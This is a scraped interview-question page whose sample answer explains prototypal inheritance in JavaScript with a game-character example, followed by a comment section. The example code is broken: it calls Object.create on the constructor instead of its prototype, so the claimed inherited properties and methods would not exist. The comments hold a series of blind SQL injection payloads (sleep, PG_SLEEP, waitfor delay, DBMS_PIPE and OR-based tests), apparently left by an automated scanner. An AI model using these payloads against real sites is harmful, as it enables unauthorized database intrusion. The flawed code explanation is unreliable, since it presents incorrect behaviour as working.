Give an example of a time that you used Prototypal OO in JavaScript.

Experience Level: Medior
Tags: JavaScript

Answer

One example of a time that I used Prototypal OO in JavaScript was when I was working on a project that required creating multiple instances of an object with similar properties and methods. Instead of creating each instance individually, I used prototypal inheritance to create a base object and then created new instances by inheriting from that base object.

For example, let's say I was creating a game that had multiple characters with similar properties and methods, such as health, attack power, and a method to attack. I could create a base object called "Character" with these properties and methods:


function Character() {
  this.health = 100;
  this.attackPower = 10;
}

Character.prototype.attack = function(target) {
  target.health -= this.attackPower;
}

Then, I could create new instances of the "Character" object by using the "Object.create" method to inherit from the base object:


var player1 = Object.create(Character);
player1.name = "Player 1";

var player2 = Object.create(Character);
player2.name = "Player 2";

Now, both "player1" and "player2" have the same properties and methods as the "Character" object, but can also have their own unique properties, such as a name. This approach saved time and made the code more efficient by avoiding repetitive code.

Related JavaScript job interview questions

Comments

No Comments Yet.
Be the first to tell us what you think.

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e